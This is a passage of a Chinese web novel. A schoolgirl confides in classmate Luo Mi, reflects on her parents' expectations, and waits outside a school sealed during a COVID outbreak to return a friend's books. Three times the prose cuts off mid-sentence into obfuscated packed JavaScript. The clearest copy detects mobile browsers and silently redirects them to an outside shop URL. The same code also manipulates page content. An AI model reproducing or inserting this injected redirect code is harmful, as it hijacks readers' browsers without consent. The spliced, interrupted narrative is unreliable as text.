她感觉自己明明已经用尽了全力去追赶,听课、记笔记、刷题、整理错题里面的知识点……所有初中时行之有效的方法,她都更认真、更细致地执行着,收效却微乎其微。 她刚到半山腰就已经耗尽了力气,抬头望去,山顶依旧遥不可及。 而盛群瑛、何建安他们,似乎早已轻轻松松站在了云端。 还有霁月。 想到虞大师今天那番关于历史政治的歪理邪说,东篱夏心里更是涌上一阵无力。 她付出百分之两百努力可能都抓不住的东西,别人只用百分之五十的力气就能轻易握在手中。 这就是天赋的差距吗? 初中时,她和韩慎谦之间是三分以内的毫厘之差,是努努力就有希望追上的。 可现在呢?二十分?五十分? 她和第一梯队之间骤然裂开了一道鸿沟,她站在沟的这边,眼睁睁看着对岸的身影越来越模糊。 自己怎么会如此一败涂地? 难道真像奶奶当初敲打她的那样,她把所有的运气和潜力,都在中考那一次透支干净了?所谓的状元真的只是昙花一现,而没后劲、伤仲永才是真实的? 她不甘心。 眼泪流得更凶了,东篱夏甚至没有抬手去擦,反正这里没有人看得见,也就不必强迫自己装得体面坚强,可以继续矫情地自怜自厌。 忽然,楼下忽然传来一阵极轻的脚步声,不疾不徐,正朝四楼半而来。 东篱夏浑身一僵,胡乱抹着脸颊上的泪痕,她不想被任何人看到自己这副样子,尤其是四楼两个清北班的同学。 太丢人了。 脚步声越来越近,马上到了四楼半的平台转角,东篱夏心脏狂跳,忍不住红着眼睛透过楼梯扶手的缝隙,慌张地朝下望去。 正好对上了一双清澈沉静的眼。 是洛宓。 洛宓显然也没料到会在这里遇到别人,更没料到遇到的是如此狼狈的东篱夏。 她脚步倏然停住,站在下方几级台阶上,眼中惊讶的神色一闪而过,随即被一种更温和的表情取代,声音轻柔: “抱歉。” 没有多余的询问,没有尴尬的寒暄,恰到好处的分寸感让东篱夏紧绷的神经稍稍松了一点,随之而来的却是更汹涌的尴尬。 东篱夏手忙脚乱地想要站起来,语无伦次,“没关系……是我不好意思,我……我这就走,让你见笑了……” 她一面尴尬一面好奇——洛宓怎么会来这里? 洛宓却上前一步,没有顺着她让开的路往上走,反而虚地拦了一下东篱夏想要仓促逃离的动作。 “不用起来。”洛宓的声音依旧很柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“人之常情嘛。”洛宓的声音更轻了些,“大家的目光除了紧紧追着最前面的那几个,剩下的往往就是落在最后面那个。” “而最后面那个永远都是我。” “走关系进来的借读生,数学老师洛图的女儿,每次考试毫无悬念的倒数第一。” “这么一想,”洛宓重新看向东篱夏,“会不会觉得稍微好一点?至少你不是一个人。” 同病相怜么? 她完全没想到洛宓会用这种方式安慰她,感动之余,又怕不小心戳到对方的痛处,只能试图转移话题,“你上来这里,是……?” “练声。”洛宓答得很快。 “啊?”东篱夏没听清。 或者说,练声这个词对她而言太陌生了。 “练声。”洛宓重复了一遍,看着东篱夏依旧茫然的表情,嘴角弯了弯,耐心解释道,“我想走艺考,播音或者表演。” 说完,她目光扫过东篱夏手里皱皱巴巴的纸巾和通红的眼角,不忘补充道,“别告诉别人。今天不小心看到你在这里,知道了你的小秘密,也让你知道我的,算扯平了。” 听到艺考两个字,东篱夏完全忘记了自己的难过。 对于她循规蹈矩的学霸世界来说,艺考一直是非常遥远的一条路。 但她看着洛宓那张过分漂亮的脸,高挑纤细的身形,由衷的赞叹脱口而出,“你这么漂亮,声音也好听,就是很适合啊。当明星或者主持人多好,又不是只有学习这一条路。” 洛宓听后,并没有太羞涩,只是仍旧很淡地笑了笑,显然对这样的夸赞早已习惯。 但东篱夏看得出,那笑容里掺杂了更多更复杂的情绪。 “我有什么办法呢?” 32. 墓志铭 “我有什么办法呢?” 洛宓抱着膝盖,下巴搁在手臂上,目光有些空茫,“我从很早以前就知道,自己压根就不是学习这块料。可我爸,洛老师,他是一个很好的数学老师,对学生耐心,讲究因材施教,但他对我……” 洛宓停顿了很久,久到东篱夏以为她不会说下去了。 “篱夏,你知道怎么样才能上江南一中吗?”洛宓忽然问。 东篱夏被冷不丁问得有些发蒙,“参加小升初的选拔考试?” 洛宓轻轻摇了摇头,声音平静地让东篱夏心头发紧,“那是你们这样的学生走的路。其实还有一种不那么广为人知的方式。” “交二十万入学费。” 即使早就知道江城家长为了孩子教育可以一掷千金,东篱夏还是被这个数字惊得吸了口凉气。 二十万,不包中考不包高考,仅仅为了一个重点初中的名额? 她简直难以想象。 对于洛宓来说,这样用金钱和期望堆砌出来的高压环境,真的适合她吗? “所以从初中开始,我就已经习惯了吊车尾。” “我被我爸的意愿裹挟着,扔进了一个我完全不适合的地方,吊车尾吊了整整三年。” 洛宓侧过脸,自嘲地笑了笑,哪怕是这样,仍旧漂亮得让人挪不开眼。 “我用三年时间,学会了怎么接受自己是个差生。中考完,又被我爸强行塞进了江附的清北班,塞到他眼皮子底下盯着。” “跟一群你们这样聪明得像怪物一样的人坐在一起,用我完全跟不上的速度,去听那些天书,考那些让我每次拿到卷子就手脚发凉的试,继续稳稳地考我的倒数第一。” 东篱夏完全愣住了。 她印象里的洛图老师,在课堂上总是强调梯度教学,说《必刷题》太难可以不做,学案上的基础例题全员弄懂就行,一副开明又懂因材施教的模样。 她怎么也无法将那样的洛老师,和洛宓口中这个不顾女儿实际、强行将她塞进斗兽场的父亲形象重叠起来。 他难道看不出来,这样只会适得其反,让洛宓更痛苦吗? 但她知道,这是别人的家事,自己没有立场置喙。 她的痛苦大多源于期望与现实的落差,洛宓的痛苦则源于被父亲强行安放的错位。 她沉默了一会儿,才小声地开口,“洛宓,我可能不太会安慰人,但我觉得你比我们很多人都勇敢。” 东篱夏斟酌着词句,“你知道自己不喜欢什么,不适合什么,其实已经很厉害了。而且你还知道自己喜欢什么,想走哪条路。” 她看着洛宓转过头来,继续鼓起勇气说道,“洛老师他可能只是太希望你好,又习惯了用他觉得最好的方式来安排。我奶奶也这样,他们都很爱我们,但都不太会爱我们。” “而且我觉得,你本来就不属于这个用成绩单来衡量的评价体系。” 说完这些,东篱夏紧张地看着洛宓,生怕自己哪句话冒犯了对方。 洛宓静静地看着她,没有立刻说话,只是将下巴在手臂上挪了挪,视线重新投向高窗外已经完全暗下来的天空,半晌,才极轻地说了一句,“你说的都对。” 阁楼里重新陷入了沉默,又过了几分钟,洛宓才重新开口,“艺考的事,我只跟我妈妈说过。她是个钢琴老师,在市乐团,一直很支持我。” 提起母亲,洛宓眼里突然有了光亮,但随即又黯淡下去,“但是她拗不过我爸,我爸他还不知道我想走这条路。” “所以,千万帮我保密。” 东篱夏立刻点了点头,语气郑重,“我保证。” “其实想想,”洛宓重新将目光投向那扇墙,“何建安,贺疏放,还有你,你们这些看上去永远在正确轨道上飞奔的人,谁心里没点糟烂的烦心事呢?可能只是烦的东西不一样罢了。” 说完,洛宓对东篱夏笑了笑,“大家都一样,不过是在各自的烂泥堆里努力挣扎着,想让自己看起来体面一点,别那么快陷下去而已。” 是啊。 盛群瑛也许正为无法兼顾文理科的完美而烦躁,何建安大概永远要面对人际上的笨拙,贺疏放则在为了满腔热爱和全世界抗争,就连看似拥有终极答案的虞霁月,不也要面对亲哥过于耀眼的光环吗? 谁又是真正轻松的呢? 就在这时,晚自习的预备铃将两个姑娘拉回了现实,东篱夏下意识地摸了摸脸颊,还好,眼泪早就干了。 “你先回去洗把脸吧。”洛宓柔声说,体贴地给了她整理情绪和仪容的时间,“我过一会儿再下去。” 东篱夏明白她的意思,错开走,避免同时出现引起不必要的猜测。 她点点头,撑着有些发麻的腿慢慢站了起来,一阵酸麻传来,她踉跄了一下,下意识伸手扶住了旁边的墙壁。 掌心传来粗糙的触感,还蹭了一手的墙灰。东篱夏第一次就着楼道里昏暗的光线侧头看去,才发现墙壁上竟然密密麻麻写满了字。 字迹各异,有的龙飞凤舞,有的歪歪扭扭,内容更是五花八门—— “xxx,我xxx!” “数学去4!” “柳鸿是大SB!” 真敢写啊。 “宋xx喜欢林xx” “希望能和xxx考上同一所大学!” “清华北大等我!” 她扫过一些简短的句子,还有一些更长的句子,正语无伦次地诉说着无人理解的孤独、对未来的恐惧、对父母的怨怼、对自我的怀疑…… 这面早就被遗忘的墙,竟然承载了这样多届学生无人诉说的秘密。 它们覆盖在旧墙皮之上,又被新的灰尘掩埋,层层叠叠,记录着少年时那些永远无法言说的喧嚣和热烈。 东篱夏来不及细看,仅仅是惊鸿一瞥,足够已经让她心头震动。 洛宓说得对,大家要做的,都是在糟烂的生活里尽量体面地支撑下去而已。 却也总要有个地方,给体面背后的真情实感留下点墓志铭。 东篱夏拍了拍手上的灰,转身沿着来时的楼梯向下走去,外面的天色已经彻底黑透,楼道里没有灯,只有下方楼层透上来的微弱的光。 刚走下几级台阶,她就鬼使神差地停住了脚步,回过头,隔着楼梯扶手向上望去。 洛宓还抱着膝盖坐在原地,似乎知道东篱夏会回头,也正微微侧着头,目光向下迎了过来。 黑暗中,东篱夏看不清她具体的表情,只能隐约看到她过分漂亮的侧脸。 然后,东篱夏看见她似乎弯起了嘴角,穿过了昏暗的距离和交错的栏杆,对着自己的方向,很轻、很柔地笑了一下。 她的心忽然就被这抹笑容轻轻熨帖了。 东篱夏也歪了歪头,隔着一层朦胧的黑暗,对楼上的洛宓回了一个真心实意的笑容,旋即转回身,继续向下走去。 是啊,我们都会熬过去的。 和洛宓聊完,东篱夏晚自习的心情明显好了许多。一个人回到家后,发现妈妈仍旧戴着防蓝光眼镜坐在饭桌前,电脑屏幕亮着,手指在键盘上敲得飞快,大概是在处理接的数据分析杂活。 听到开门声,徐瑞敏女士头也没回,“回来啦?” “嗯。”东篱夏应了一声放下书包,犹豫了一下,还是蹭到妈妈身边,低声问道,“妈,我们月考成绩出来了,你知道吗?” 徐瑞敏敲键盘的手停住,有些茫然地转过头,“成绩出来了?我不知道啊,你们老师没通知吧?” 东篱夏有点懵了,“柳鸿他没在班级群里发吗?” “班级群?”徐瑞敏眨了眨眼,这才恍然想起什么似的,在电脑微信上最小化工作窗口,滚轮翻了半天,才找到早就被设置为免打扰的“二班家长通知群”,往上翻了翻,果然看到柳鸿在几个小时前发的两份Excel文件,分别是班级同学的六科和九科成绩。 东篱夏凑过去一看,简直瞠目结舌。 诚然,柳鸿在群里确实不太说话,发的消息不多,但即使就这么点消息,徐瑞敏女士居然能有四十多条未读! 最新的一条就是那份成绩表,而往上,是中秋节放假通知、运动会注意事项、调课安排…… 徐女士通通没看。 “妈……”东篱夏一时不知该说什么好,“你都不看群消息的吗?” 妈妈有点不好意思地笑了,嘴上却仍然不服输,“哎呀,妈每天又不是在家闲着,接了挺多兼职的活儿,有时候看消息提醒,想着等会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我跟你爸啥水平,我俩自己心里能没数吗?我俩就是江城普通二本毕业的,不过是我们年轻那时候机会多,又敢闯敢拼,才能在北京混口饭吃。我们俩的基因在这儿摆着呢,我闺女能考个985,真是他们老东家祖坟冒青烟,该烧高香了!” “什么清华北大,都拉倒吧。”徐瑞敏女士摇摇头,笑容里只有实实在在的知足,“那是人家祖祖辈辈书香门第该琢磨的事,咱们啊,脚踏实地上个好点的985,我们就心满意足得睡不着觉了!” 还是那句话,好心态决定人的一生。 东篱夏既觉得好笑,又实实在在心头一暖。 被无条件地爱着确实是幸福的,不必完美,不必顶尖,只需要比爸妈强一点,就能成为妈妈的骄傲,多好。 可是她并不确定爸爸会不会也这么想,他也会像妈妈这样轻易满足于当过状元的女儿只考上一个江大院士班吗? 还有,不对啊? 如果仅仅满足于比上一代强,那当年年轻的徐瑞敏和东耀景为什么要咬着牙告别熟悉的江城,把女儿留在爷爷奶奶家,一头扎进人海茫茫的北京城? 他们不就是因为不知足,不满足于二本毕业在江城看到的天花板,才拼了老命去搏一个未知的更广阔前程吗? 父母显然并不真正了解她。 她被硬生生磨出了一副温吞的好脾气,允许自己迷糊,允许自己退缩,允许自己为了人际关系辗转反侧。 但有些东西是刻在骨血里的。 她和爹妈一样不甘心留在江城。 关于前途,关于未来,关于自己究竟能走到哪一步的问题,她东篱夏从来不知道知足常乐四个字怎么写。 她想要更多。 更多的可能,更大的世界。 她要的世界或许不在北京,但也一定不在江城这个她生活了十六年的北方小城。 她就是想证明自己的中考状元不全是运气,就是不想成为一个仅仅“比父母强一点”的孩子,更想去一个真正属于她东篱夏的地方。 知足常乐往往意味着停滞不前,欲壑难填才是逼自己向前的动力。 她痛苦于被奶奶继续挑剔,却也不甘心被父母的知足磨平了棱角,停留在一个不上不下的境地里。 无论苛责还是宽容,这些都是别人给她设定好的。 而她要见的,是自己的南山。 33. 多事之秋 周六上午,东篱夏难得睡到九点半,把过去一周缺的觉狠狠补了一截,才晕乎乎地爬起来,对着成山的作业发起进攻。 就在她正跟受力分析较劲,恨不得以头抢地时,屋门忽然被轻轻敲了两下。 “夏夏,写作业呢?”妈妈轻手轻脚地走进来,在东篱夏的小床边坐了下来,没说话,就这么安安静静地看着她。 东篱夏实在算不出物理题,又被妈妈看得有点发毛,停下笔问道,“怎么了?” 徐瑞敏往前挪了挪,“妈妈这两天好好反思了一下自己。” 东篱夏心里咯噔一下,相当不祥的预感涌上心头。 不要没事瞎反思啊,妈! “妈妈觉得吧,我和你爸以前对你学习上的事太不上心了。” 这倒是真的。 “你看,家长群我也不看,你们考试我都不知道,柳老师发的消息我也总错过,不太像个称职的陪读妈妈。” 东篱夏松了口气,随即又有点哭笑不得,“真不用,妈,你工作那么忙,还得顾着家里,不用事无巨细都盯着。群里消息偶尔看看,别错过要紧事就行。” “那可不行,该管的还是得管。”徐瑞敏却出乎她意料地坚定,“我昨天跟对门周阿姨聊天,哎呦,人家那才叫一个上心!疏放每天学了什么,哪科弱,什么老师好,你周阿姨都门儿清!人家一提你,我一问三不知,显得我多不合格似的。” 贺疏放考完回家,显然也没好过到哪去。 “我就顺嘴问你周阿姨,说我们家夏夏这次数学好像考得不太理想,排名不高,知不知道有什么好的数学老师可以补一补?你猜怎么着?” 徐瑞敏眼睛一亮,“你周阿姨还真知道!说有个数学老师,专门讲什么大招秒杀的,能大大提高做题速度!而且是网课,不用咱们大老远跑线下,据说这个老师特别火,咱们先试听一节看看?” 东篱夏心里本能地有点抗拒。 她一直觉得,学数学就应该好好理解原理,构建知识体系,那些可以直接套用的大招虽然快,但多少有点投机取巧的味道,基础不牢的人用了反而容易晕。 但看着徐瑞敏女士脸上那副殷切地“我终于干了件正事”的表情,拒绝的话到了嘴边又咽了回去。 何况提高解题速度对她也没什么坏处,不妨一试。 “好吧,我先试听一节看看。” 徐瑞敏立刻高兴起来,又嘱咐了几句“记得今天晚上准时上课”,才心满意足地离开了房间。 晚上七点,东篱夏准时打开电脑进入腾x会议,江大附中的学生不在少数,里面有不少她熟悉的名字。 这么火? 课程开始没多久,东篱夏就意识到,这名师确实有点不一样。 他讲得不快,甚至有点柳鸿的慢条斯理。虽然有些结论的推导过程用到了高等数学的思想,他含混带过,让大家不必深究,但讲每一个所谓的大招前,却也一定会先把涉及的基本概念确认一遍。 东篱夏觉得,这老师最大的美德,是把每一步掰开了揉碎了讲,绝不跳步,对于一个被老洛快节奏课堂折磨过的学生来说,不跳步简直是一种慈悲的美德。 “咱们有结论,能秒杀,但例题也得听,我希望你们至少能跟住我的思路,知道结论成立的前提条件是什么,这样用的时候才不慌,知道什么时候该用,什么时候可能是个坑。” 有点道理。 东篱夏一边听,一边飞快地记笔记。 虽然有些大招背后涉及的数学原理确实超出了她目前的理解范围,但老师紧接着就会拿出江城各大名校近几年的期中期末真题,现场演示如何应用这个结论。 东篱夏跟着他的演示,试着用刚听到的结论去套题,一开始还有点生涩,但成功用大招秒杀一道她之前需要苦思冥想好久的题目时,一种略带罪恶的畅快油然而生。 好像真的快了一点? 一个半小时的试听课结束,东篱夏揉了揉有些发酸的眼睛,看着笔记本上密密麻麻的大招名称和例题,心情实在有些复杂。 她依旧觉得,过分依赖这些结论不是学习数学的长久之计,本质的理解永远更重要。但不可否认的是,在时间紧题量大的考试中,她需要分数,需要排名,需要在残酷的竞争环境里先活下去。 务实一点,东篱夏。 她在心里对自己说。 她朝客厅喊了一声,“妈!课我试听了,老师讲得挺好的,我想继续上!” 几乎是立刻,徐瑞敏女士欢天喜地的声音就从厅里传来,“太好了,我这就去给你报名缴费!” 东篱夏笑了笑,点开手机,想看看有没有遗漏班级群里的什么通知,刚划了两下,手机顶端突然弹出一条浏览器广告的推送通知—— 【江城疾控紧急通知:发现一例新冠肺炎确诊患者的密切接触者,活动轨迹涉及菜市口等……】 又来。 江城的疫情跟打地鼠没什么区别,按下这头就必然会冒出那头,反反复复没个消停。好不容易安稳了两个月,线下课恢复了,运动会开了,大家刚松快了些,病例就又来了。 东篱夏点开推送,快速浏览着密切接触者密密麻麻的活动轨迹和涉及场所,心一点点往下沉。 又要来了吗? 真是多事之秋。 周日一整天,东篱夏被疾控中心的通知弄得多少有点心不在焉,“二班不一般”里也比往常热闹许多,被各种真假难辨的截图刷了屏。 有人转发小区群里物业的截屏,说自己小区已经有单元封楼了;有人转发微博上的小道消息,说之前的密接已经确诊了,二密三密还不止一个;更有甚者还在群里逐字品鉴各路小道通知的字眼,试图找出周一线下无望的蛛丝马迹。 东篱夏打心眼里觉得,大家但凡能拿出一半分析小道消息的态度分析分析文言文,付观亭就也不用天天絮叨着二班语文成绩不如一班了。 话是这样说,她自己也没跑掉。 她平时不追星,也不怎么吃娱乐圈的瓜,这回也为了疫情下了个微博,直接搜索了#江城疫情词条,点进“实时”去,刷新一下,便有无数条小道消息涌上。 还有不少水帖,是各路高中生祈求明天在家上网课,毕竟从初中的经验看,网课和放假基本没什么两样。 正看得心烦意乱,虞霁月的消息跳了出来。 我见诸君多有病:夏夏,看群里没?笑死,好多人焦虑的压根不是疫情,是周末作业写不完,巴不得线上课老师就不查了【狗头】 东篱夏忍不住对着屏幕弯了弯嘴角,回复道:大师此言在理。 我见诸君多有病:那必须的,因为本人就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17036781|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这么想的【呲牙】化学必刷题还有七页,要真明天就收,我只能直接抄答案了【抓狂】【抓狂】【抓狂】 是啊,疫情和她们最大的关系,就是明天能不能按时收作业了。 就在她准备回复虞霁月时,班级群突然被周益荣的一条消息炸开了锅。 周益荣:woc,十二班班主任刚在他们班群发通知了,让所有人戴好口罩,马上回学校取书和练习册,明天开始上网课!估计咱班也快通知了! “真的假的?” “你寻思啥呢,十二班都通知了,咱们班肯定没跑!” “咱周老师啥时候传过假消息啊!” 东篱夏心里咯噔一下,走到厅里,言简意赅地把情况给妈妈说了。 徐瑞敏女士当机立断,“赶紧去,这种事必须趁早!学校刚开始可能还让取,过一会儿怕人员聚集,说不定就拦着不让进了!你戴好口罩,用不用我跟你一起去,帮你拿点?” 东篱夏立刻拒绝了,“你腰不好,别跟着折腾了,我自己去就行,东西多我就分两趟拿。” 妈妈想了想才答应下来,又有点不放心,从柜子里一顿翻,拿出N95口罩来给东篱夏戴上,又往她大衣兜里塞了两个备用的。 东篱夏背上一个最大的双肩书包,手里还拎了一个妈妈从家里翻出来的无纺布超大号购物袋,刚要出门,柳鸿的通知终于姗姗来迟,内容与周益荣转发的十二班通知大同小异,要求大家错峰有序佩戴口罩回校取书,九点四十学校就要封楼,明天暂时上网课,后续教学安排等待进一步通知。 尘埃落定。 出门时已经是晚上八点五十了,这一片住的基本都是江大附中的学生,一路上,东篱夏看见不少穿着江大附中校服的学生,步履匆匆地往学校方向赶。 她一面随着人流往学校走,一面下意识点开微信,扒拉了两下,到底点开了“学学化学”的头像。 贺疏放从昨天那条疫情推送后,就没在班级群里发过言,连周益荣转发那么爆炸的消息也没见他冒泡,东篱夏难免有点担心。 他是没看到吗?还是家里有什么事? 犹豫了几秒,她还是点开了对话框。 见南山:看到群消息了吗?柳鸿通知回学校取书,明天开始网课了,要一起去吗? 消息发出去,却是石沉大海。 直到东篱夏走到江附校门口,手机才震动了一下。 学学化学:刚看到【流泪】我和我爸妈今天回呼县老家看我奶奶了,现在正往回赶,堵高速上了【抓狂】 呼县是江城下属的一个县,距离市区车程也就两小时,算不上远,但赶上这种突发状况,堵在路上确实糟心。 见南山:啊,那你来得及吗?柳鸿通知说九点四十就封楼了。 学学化学:够呛【裂开】看这堵的架势,就算到了江城估计也得十点多了,而且我这两天被我爹妈强行镇压搞课内,《无机化学》都放学校桌洞里了【流泪】【流泪】【流泪】 她心里清楚,那《无机化学》简直是他的命根子,平常走到哪儿带到哪儿,这次回老家,估计是被迫轻装上阵,没想到真能撞上这档子事。 学学化学:算了,你先赶紧去取你的吧,别管我了【叹气】千万戴好口罩,注意安全啊!!! 东篱夏没来得及回复。 34. 好孩子 校园门禁比平时宽松,保安大爷戴着口罩,皱着眉头挥手示意大家快进快出,教学楼里只剩下匆匆的脚步声和偶尔的咳嗽声,以及塑料袋摩擦的窸窣声在楼梯间回荡。 每个人都裹得严严实实,口罩遮住大半张脸,只露出一双眼睛。 她爬楼时与几个同学擦肩而过,愣是盯着对方眼睛看了好几秒,才勉强认出是谁,彼此点点头,就算打过招呼,一刻也不敢多停留。 东篱夏气喘吁吁爬上四楼,二班教室门开着,里面已经有几个同学在默默收拾,没人闲聊。 她快步走到自己座位,开始往书包和袋子里装书,把桌堂里所有可能用到的纸质材料都扫荡一空,书包已经鼓得快要炸开,大袋子也沉得坠手,毕竟谁也不知道这次疫情网课要持续多久,只能说有备无患。 自己的东西收拾完之后,她下意识地看向旁边,贺疏放的座位空着,桌堂比他在时还要凌乱几分,练习册歪斜地插着,最显眼的还是他的心肝小宝贝《无机化学》。 东篱夏点开手机,想问问贺疏放情况,却发现他几分钟前发来了一条消息,是一个泪流满面的小猫表情包,紧接着又是一条: 学学化学:刚下高速,堵死了【裂开】。估计到市区得十点往后了。九点四十就封校清场,真的假的?! 东篱夏心里一紧,抬头看了眼教室前面的钟,已经是九点十分了。 学学化学:【流泪】【流泪】【流泪】完蛋了,我的竞赛笔记也还在桌堂里呢! 隔着屏幕都能感受到他的抓狂。 东篱夏几乎没怎么犹豫,飞快回复道: 见南山:没事,你别着急赶了,我帮你把要用的书先搬到楼下保安室吧?跟保安大叔说一下,你晚点到了再去取。 学学化学:!!!真的可以吗?你东西也多,辛苦你了南山女神【流泪】你简直是我的救命恩人orz大恩大德无以为报,回来喜之郎果冻管饱! 怎么又喜之郎果冻上了? 东篱夏有点无语,没时间多想,回了个“没事”就立刻行动起来,先把自己沉甸甸的书包背上,再提起自己装得满满当当直勒手的大袋子,踉踉跄跄开始下楼。 她平常没觉得四层楼竟然有这么高啊。 拎着这么多东西,东篱夏每走一步都觉得手疼,呼吸有点发闷,还不敢摘口罩,额头上很快渗出汗来。 好不容易挪到一楼,她把大袋子放在一个不碍眼的墙角,喘了几口气,又马不停蹄地转身,再次爬上四楼,回到贺疏放的座位,开始从他的桌洞里往外掏书。 除了一堆课内练习册和他那本厚厚的《无机化学》,贺疏放桌堂里还有几本看起来就很高深的竞赛专题册以及一沓写满密密麻麻公式的草稿纸。 她正愁怎么一次性搬下去,教室前门又进来一个人,是周益荣。 周益荣也全副武装,只露出眼睛,一眼就看到正在贺疏放座位上忙碌的东篱夏,绕到她身后座位上之后,熟悉的腔调就从口罩后面闷闷地传了出来: “哟,东老师,这么贤惠啊?帮贺疏放收拾呢?你们俩这同桌情谊,可真是不一般哈。” 她向来是很讨厌用“贤惠”这个词来形容女生的。 东篱夏正累得不行,心里又惦记着时间,听到这阴阳怪气的话,火气“噌”一下就上来了,头都没抬,直接朝周益荣翻了个白眼,懒得搭理。 周益荣碰了一鼻子灰,倒是没再继续说什么。 没过一会儿,东篱夏正试着把贺疏放那摞书抱起来,感觉高度有点危险,犹豫着要不要分两次时,一个半旧的深蓝色帆布购物袋突然被递到了她手边。 “给,”周益荣的声音听起来有点不自然,好像那袋子有多烫手似的,“我带多了,这个你先用着装吧。” 东篱夏一愣,抬起头,隔着镜片和口罩,对上周益荣有些闪躲的眼神。 “你拿着吧。”周益荣语速很快,声音也压得很低,“上次成绩那事,是我嘴欠,说话不过脑子,对不住啊。东老师,你别往心里去。” 说完,他好像完成了什么艰巨任务,迅速转身回去继续收拾自己的书包。 东篱夏彻底懵了。 这大哥怎么回事? 刚刚还阴阳怪气她,转眼又递袋子又道歉? 她实在想不通周益荣如此反复横跳的动机到底是什么,是良心发现还是怕贺疏放回来找他算账? 或者纯粹就是性格如此,讨人厌和热心肠能诡异地并存? 但此刻情况紧急,容不得她细想,贺疏放这一大堆书确实需要个袋子,她接过那个帆布袋,低低说了句“谢谢”。 有了袋子就好办多了。 她把贺疏放的宝贝《无机化学》、竞赛笔记和重要的练习册统统装了进去,帆布袋立刻变得鼓鼓囊囊。 东篱夏把袋子挎在胳膊上,弯下腰把剩下几本稍大的教材抱在怀里,重量着实不轻,她站起来时都晃了一下。 “我帮你拿点下去?”周益荣已经收拾好了自己的东西,背上了包,看着她摇摇晃晃的样子,忍不住又问了一句。 “不用了,谢谢,我自己可以。”东篱夏实在不想再欠周益荣人情,而且这点路,咬咬牙也能坚持。 她没再看周益荣,抱着满怀的书,胳膊上挂着死沉的袋子一步一步往教室外面挪,胳膊被帆布袋子勒得生疼,怀里的书也越来越沉,汗水顺着鬓角止不住往下淌。 四层楼变得无比漫长,她终于踉跄着走到一楼保安室门口时,感觉胳膊和腰都快不是自己的了。 保安大爷正在门口张望,催促还在楼里的学生加快速度,眉头紧锁,一脸的公事公办。 “大爷,”东篱夏尽量让自己的声音听起来可怜些,“我能帮同学把书暂时放您这儿一下吗?他堵在路上了,赶不及九点四十之前来,他到了再来保安室取,行吗?就放角落,不会碍事的。” 大爷草草扫了她一眼,就果断地摇了摇头,“不行不行,小姑娘,这里不能放私人东西。丢了、弄混了,谁负责?学校规定,所有物品必须本人按时取走,过时不候。我们不负保管责任。” 东篱夏有点着急了,“可是大爷,他真的很着急,有很重要的书……” “再重要也不行,规定就是规定。”保安大爷挥了挥手,看着门口来来往往的学生,已经对她有点不耐烦,“赶紧的,你自己东西拿完就快走,别耽误我们清场锁门。” 希望破灭,帆布袋的带子勒得她胳膊越来越疼,东篱夏几乎想直接把这些书扔在地上。 但一想到贺疏放发来的那一串流泪的表情,她隔着屏幕都能感受到他的抓心挠肝。网课期间,那本大厚书肯定就是他最主要的精神寄托了,如果真拿不回去,他肯定难受坏了。 她把手里一摞书放到地上去,拿出手机,先给贺疏放发了条消息,“保安室不让放,你别急,路上注意安全。” 然后又点开妈妈的微信,组织了一下语言,“妈,贺疏放堵在高速上了,赶不上学校规定的取书时间,他的书挺重要的,保安又不让寄存。我自己一个人的东西就很多了,加上他的肯定一次拿不回去。学校马上就封楼了,我想在这儿等他一会儿,等他到了,把书给他我再回,。行吗?” 消息发出去,她有些忐忑,想了想,又把父母的关系搬了出来,以彰显自己的问心无愧,“反正咱们两家关系挺好的,周阿姨也给我推荐了数学网课嘛。” 没想到徐瑞敏女士十分通情达理,“行,帮人帮到底,咱们夏夏心善是好事。天黑了,你在学校门口等着,别乱跑,注意安全。” 得到妈妈的首肯,东篱夏松了口气,但心里那股说不清道不明的滋味更浓了。 她一直在想,自己做这些,真的只是因为喜欢贺疏放吗? 好像不完全是。 如果今天换成虞霁月忘了重要的书,或是甄盼落下了什么练习册,又或者刚和自己分享过秘密的洛宓有什么至关重要的东西困在学校,她也会愿意在冷风里等一等的。 她的心告诉她,这是自己应该做的。 想着想着,东篱夏就忘了回贺疏放后来的消息,只是把两个人的东西慢慢挪到教学楼正门外的空旷处,找了个不挡道的角落,小心放在脚边。 然后她就站在那里看着。 看着一批批和自己一样大包小裹的同学神色匆忙地进出,看着人流从密集到稀疏,从嘈杂到寂静,看着教学楼各层的灯光依次熄灭,看着保安大爷横眉冷对地清场。 九点四十,过了几分钟,教学楼所有的门都被保安从里面锁上,最后几个被驱赶出来的学生抱怨着走向校门,巨大的铁栅栏校门也在她面前缓缓合拢。 她和几个同样因为各种原因耽搁了的学生一起被“请”出了校门外,铁门在身后“哐当”一声落锁,学校彻底进入封闭状态。 路灯昏黄,校门外的人行道上顿时冷清下来,冷风吹过,瞬间穿透了东篱夏不算厚的外套。 她忍不住打了个哆嗦,把衣服拉链拉到最上面,学校旁边是老居民区,完全找不到肯德基、奶茶店这样可以坐着避风取暖的地方。 她无处可去,只能守着脚边那两堆书蹲了下来,后来又觉得蹲得腿麻,索性抱着膝盖,直接坐在了水泥地上。 时间一点点流逝,东篱夏又冷又饿,下午因为焦虑没吃多少东西,此刻胃里空空,手脚开始变得冰凉,鼻子也冻得发红,只能站起身一面跺脚一面对手哈气,可惜收效甚微,身体还是控制不住地发抖。 